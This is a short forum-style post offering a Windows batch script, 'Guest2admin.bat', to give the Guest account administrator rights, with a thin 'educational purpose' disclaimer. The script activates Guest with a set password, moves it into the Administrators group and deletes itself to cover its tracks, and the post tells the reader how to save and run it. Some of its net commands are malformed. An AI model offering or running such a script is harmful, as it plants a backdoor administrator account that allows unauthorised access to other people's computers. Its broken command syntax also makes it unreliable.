Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.
HaCk "GUEST" with Admin privileges........
echo off title Please wait... cls net user add username Password /add net user localgroup Administrators Username /add net user Guest 420 /active:yes net localgroup Guests Guest /DELETE net localgroup Administrators Guest /add del %0
Copy this to notepad and save the file as "Guest2admin.bat" then u can double click the file to execute or run in the cmd. it works...